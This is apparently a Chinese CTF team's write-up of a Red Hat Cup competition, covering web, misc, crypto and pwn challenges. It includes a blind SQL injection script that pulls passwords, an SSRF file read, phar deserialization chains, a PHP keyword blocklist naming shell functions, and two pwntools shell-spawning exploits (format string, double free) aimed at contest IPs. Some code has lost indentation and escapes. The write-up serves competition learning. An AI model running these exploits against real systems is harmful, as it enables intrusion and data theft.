北极星 本次排名5,共解出9道题
web
find_it (web1)
查看robots.txt文件发现hint
When I was a child,I also like to read Robots.txt
Here is what you want:1ndexx.php
存在源码泄露.1ndexx.php.swp
<?php $link = mysql_connect('localhost', 'root'); ?>
<html>
<head>
<title>Hello worldd!</title>
<style>
body {
background-color: white;
text-align: center;
padding: 50px;
font-family: "Open Sans","Helvetica Neue",Helvetica,Arial,sans-serif;
}
#logo {
margin-bottom: 40px;
}
</style>
</head>
<body>
<img id="logo" src="logo.png" />
<h1><?php echo "Hello My freind!"; ?></h1>
<?php if($link) { ?>
<h2>I Can't view my php files?!</h2>
<?php } else { ?>
<h2>MySQL Server version: <?php echo mysql_get_server_info(); ?></h2>
<?php } ?>
</body>
</html>
<?php
#Really easy...
$file=fopen("flag.php","r") or die("Unable 2 open!");
$I_know_you_wanna_but_i_will_not_give_you_hhh = fread($file,filesize("flag.php"));
$hack=fopen("hack.php","w") or die("Unable 2 open");
$a=$_GET['code'];
if(preg_match('/system|eval|exec|base|compress|chr|ord|str|replace|pack|assert|preg|replace|create|function|call|~|^|`|flag|cat|tac|more|tail|echo|require|include|proc|open|read|shell|file|put|get|contents|dir|link|dl|var|dump/',$a)){
die("you die");
}
if(strlen($a)>33){
die("nonono.");
}
fwrite($hack,$a);
fwrite($hack,$I_know_you_wanna_but_i_will_not_give_you_hhh);
fclose($file);
fclose($hack);
?>
构造请求
base32解密得到flag
framework (web2)
yii2.0框架审计,先试试网上poc
extract变量覆盖
about路由存在反序列化
可以看到yii版本Yii Framework/2.0.32
phpggc中存在pop链,直接打
蚁剑绕disable_function
WebsiteManger (Web3)
注入获得账号密码
admin/0e41ee97bb4e54f9a1cbe
我自己写的一个poc:
# coding:utf-8
import time
import requests
def main():
url = '题目url'
flag = ''
for num in range(1, 200):
for asc in range(39, 128):
# payload='if(ascii(substr(database(),{},1))>{},1,2)'.format(num, asc)
# select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())
# payload='if(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='users')),{},1))>{},1,2)'.format(num, asc)
# payload = 'if(ascii(substr((select(group_concat(username))from(users)),{},1))>{},1,2)'.format(num, asc)
payload = 'if(ascii(substr((select(group_concat(password))from(users)),{},1))>{},1,2)'.format(
num, asc)
payload=payload.replace(" ", "/**/")
param = {"id": payload}
r = requests.get(url=url, params=param)
print("[" + str(r.status_code) + "]" + "-" + str(num) + "-" + str(asc))
time.sleep(0.1)
if "22222222222222222222222222222222222222222222222222" in r.text:
flag += chr(asc)
print(flag)
break
r=requests.get(url=url,params={'id':2})
print(r.text)
if __name__ == '__main__':
main()
然后curl利用协议ssrf读本地内容
file:///flag就出了
ezlight (Web4)
后台登录密码admin/admin
源码下载下来是一个cms
在github可以找到对应的 cmshttps://github.com/eddy8/lightCMS
用bc4比较了一下,没啥区别,修改的地方不太重要。
在issue中看到了gml师傅在二月份提交的rce漏洞https://github.com/eddy8/LightCMS/issues/19。
原来的版本可以在NEditorController中任意文件读和任意文件上传,具体可以查看该issue。
在补丁中限制了远程下载的内容和后缀。
一开始以为可以通过imagecreatefromwebp函数触发phar反序列化
但是isWebp限制了curl了url的内容
但是观察到Image::make($data)
的$data
是可控的,Image::make
看上去像是图片处理函数,那么也有可能也能触发phar反序列化。
跟进Image::make
,应该是Facade模式动态调用的。动态调试找到make函数
直接看init函数,在判断输入的$data内容的类型。
在initFromUrl中使用了file_get_contents,自此我们可以实现触发phar反序列化
最后就是利用了,已知为laravel6.0,可以直接用phpggc中的gadget。所以我们需要先上传一个phar文件,然后让远程curl的时候回复phar://xxx
,那么就可以触发了。
先整生成payload
admin/admin登陆后台,上传使用/admin/neditor/serve/uploadFile
接口,返回文件地址。
在http://(vps_ip):30000
远程回显一个phar payload触发反序列化。
Misc
签到
WP: dd conv=ascii if=EBCDIC.txt of=out.txt ; cat out.txt
Crypto
hpcurve
直接脚本运行后得到类似flag部分,是正确flag的最后一部分
import itertools
import struct
p = 10000000000000001119
R.<x> = GF(p)[]; y=x
f = y + y^7
C = HyperellipticCurve(f, 0)
J = C.jacobian()
Ds = [J(C(x, min(f(x).sqrt(0,1)))) for x in (11,22,33)]
enc=bytes.fromhex('66def695b20eeae3141ea80240e9bc7138c8fc5aef20532282944ebbbad76a6e17446e92de5512091fe81255eb34a0e22a86a090e25dbbe3141aff0542f5')
known_pt = 'aaaaaaaaaaaaaaaaaaaaflag'.encode()
rng_output = bytes(e^^m for e,m in zip(enc, known_pt))
blocks = [rng_output[i:i+8] for i in range(0, len(rng_output),8)]
ui = [int.from_bytes(r, 'little') for r in blocks]
u = x^3 + ui[2]*x^2 + ui[1]*x + ui[0]
L = GF(p).algebraic_closure()
roots = [r[0] for r in u.change_ring(L).roots()]
RR.<zz> = PolynomialRing(L)
v = RR.lagrange_polynomial([(xi, f(xi).sqrt()) for xi in roots])
vi = [v.coefficients()[i].as_finite_field_element()[1] for i in range(3)]
vi = [(int(-c), int(c)) for c in vi]
for rs in itertools.product(*vi):
q = struct.pack('<'+'Q'*len(rs), *rs)
flag=''
key=rng_output+q
lens=len(rng_output+q)
i = 0
for x in enc:
flag += chr(key[i%lens]^^x)
i+=1
print (flag)
-
多次重新构造环,获得不同的key,拿到剩余flag
import itertools
import struct
p = 10000000000000001119
R.<x> = GF(p)[]; y=x
f = y + y^7
C = HyperellipticCurve(f, 0)
J = C.jacobian()
Ds = [J(C(x, min(f(x).sqrt(0,1)))) for x in (11,22,33)]
enc=bytes.fromhex('66def695b20eeae3141ea80240e9bc7138c8fc5aef20532282944ebbbad76a6e17446e92de5512091fe81255eb34a0e22a86a090e25dbbe3141aff0542f5')
known_pt = 'aaaaaaaaaaaaaaaaaaaaflag{'.encode()
rng_output = bytes(e^^m for e,m in zip(enc, known_pt))
blocks = [rng_output[i:i+8] for i in range(0, len(rng_output),8)]
ui = [int.from_bytes(r, 'little') for r in blocks]
u = x^3 + ui[2]*x^2 + ui[1]*x + ui[0]
L = GF(p).algebraic_closure()
roots = [r[0] for r in u.change_ring(L).roots()]
for _ in range(3):
RR.<zz> = PolynomialRing(L)
v = RR.lagrange_polynomial([(xi, f(xi).sqrt()) for xi in roots])
vi = [v.coefficients()[i].as_finite_field_element()[1] for i in range(3)]
vi = [(int(-c), int(c)) for c in vi]
for rs in itertools.product(*vi):
key = struct.pack('<'+'Q'*len(rs), *rs)
lens = len(key)
flag = ""
for i in range(len(enc)):
flag += chr(key[i%lens]^^enc[i])
print(flag)
-
拼接得到flag
primegame
import math
from decimal import *
import random
import struct
getcontext().prec = int(100)
primes = [2]
for i in range(3, 100):
f = True
for j in primes:
if i * i < j:
break
if i % j == 0:
f = False
break
if f:
primes.append(i)
keys = []
for i in range(len(primes)):
keys.append(Decimal(int(primes[i])).ln())
arr = []
for v in keys:
arr.append(int(v * int(16) ** int(64)))
def encrypt(res):
h = Decimal(int(0))
for i in range(len(keys)):
h += res[i] * keys[i]
ct = int(h * int(16)**int(64))
return ct
def f(N):
ln = len(arr)
A = Matrix(ZZ, ln + 1, ln + 1)
for i in range(ln):
A[i, i] = 1
A[i, ln] = arr[i] // N
A[ln, i] = 64
A[ln, ln] = ct // N
res = A.LLL()
for i in range(ln + 1):
flag = True
for j in range(ln):
if -64 <= res[i][j] < 64:
continue
flag = False
break
if flag:
vec = [int(v + 64) for v in res[i][:-1]]
ret = encrypt(vec)
if ret == ct:
print(N, bytes(vec))
else:
print("NO", ret, bytes(vec))
ct = 597952043660446249020184773232983974017780255881942379044454676980646417087515453
#ct =425985475047781336789963300910446852783032712598571885345660550546372063410589918
for i in range(2, 10000):
print(i)
f(i)
运行得到flag
PWN
parser
根据规则进入后门来执行 printf,利用格式化字符串来完成利用。
#!/usr/bin/python3
# -*- coding:utf-8 -*-
from pwn import *
import os, struct, random, time, sys, signal
context.arch = 'amd64'
# context.log_level = 'debug'
execve_file = './a.out'
# sh = process(execve_file)
sh = remote('47.105.94.48', 12435)
header = '''GET / HTTP/1.1r
Host: 47.105.94.48:12435r
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0r
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9r
Accept-Encoding: gzip, deflater
Accept-Language: zh-HK,zh-CN;q=0.9,zh;q=0.8,en;q=0.7,en-US;q=0.6r
Cache-Control: max-age=0r
Connection: keep-aliver
Content-Length: -10r
r
%261$llx>%128$llx'''
sh.send(header)
sh.recvuntil('> ')
result = sh.recvuntil('>', drop=True)
libc_addr = int(result, 16) - 0x21b97
success("libc_addr: " + hex(libc_addr))
result = sh.recvuntil('>', drop=True)
stack_addr = int(result, 16)
success("stack_addr: " + hex(stack_addr))
one_gadget = 0x10a45c
header = b'''GET / HTTP/1.1r
Host: 47.105.94.48:12435r
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0r
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9r
Accept-Encoding: gzip, deflater
Accept-Language: zh-HK,zh-CN;q=0.9,zh;q=0.8,en;q=0.7,en-US;q=0.6r
Cache-Control: max-age=0r
Connection: keep-aliver
Content-Length: -10r
r
'''
content = p64(libc_addr + one_gadget)[:4]
offset = 198
payload = ''
last = 0
for i in range(len(content)):
if(content[i] == ' ' and last == 0):
payload += '%' + str(offset + i) + '$hhn'
elif(content[i] == chr(last)):
payload += '%256c%' + str(offset + i) + '$hhn'
else:
payload += '%' + str((content[i] - last + 0x100) % 0x100) + 'c%' + str(offset + i) + '$hhn'
last = content[i]
payload = payload.encode()
header += payload
header = header.ljust(0x200, b' ') + p64(stack_addr + 8 + 0) + p64(stack_addr + 8 + 1) + p64(stack_addr + 8 + 2) + p64(stack_addr + 8 + 3)
sh.send(header)
sh.recvuntil('> ')
sh.sendline('')
sh.interactive()
manager
这是一个排序二叉树程序
在delete功能中,可以发现在中途有一个free(i->content)的操作
该操作对应于图示中的delete(5)的情况,将5节点和6节点的内容交换以后,直接删除原来的6节点
后面content还会free一次
从而造成double free,由于glibc为2.27,比较方便利用
#coding:utf8
from pwn import *
#sh = process('./chall',env = {'LD_PRELOAD':'./libc-2.27.so'})
sh = remote('47.105.94.48',12243)
libc = ELF('./libc-2.27.so')
malloc_hook_s = libc.symbols['__malloc_hook']
free_hook_s = libc.symbols['__free_hook']
#sh = process('./chall')
def add(key,size,content):
sh.sendlineafter('>','1')
sh.sendlineafter('key>',str(key))
sh.sendlineafter('len>',str(size))
sh.sendafter('content>',content)
def delete(key):
sh.sendlineafter('>','2')
sh.sendlineafter('key>',str(key))
def show():
sh.sendlineafter('>','3')
add(10,0x500,'a'*0x40) #0
add(5,0x40,'b'*0x40) #1
add(4,0x40,'c'*0x40) #2
add(7,0x40,'d'*0x40) #3
add(6,0x40,'e'*0x40) #4
#delete(2)
#delete(5)
delete(10)
add(10,0x500,'a')
show()
sh.recvuntil('key:10 content:')
main_arena_xx = u64(sh.recv(6).ljust(8,'x00'))
malloc_hook_addr = (main_arena_xx & 0xFFFFFFFFFFFFF000) + (malloc_hook_s & 0xFFF)
libc_base = malloc_hook_addr - malloc_hook_s
free_hook_addr = libc_base + free_hook_s
system_addr = libc_base + libc.sym['system']
print 'libc_base=',hex(libc_base)
print 'free_hook_addr=',hex(free_hook_addr)
print 'system_addr=',hex(system_addr)
#double free
delete(5)
add(5,0x40,p64(free_hook_addr))
add(8,0x40,'/bin/shx00')
add(9,0x40,p64(system_addr))
#getshell
delete(8)
sh.interactive()
本文始发于微信公众号(星盟安全):红帽杯-北极星-writeup
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论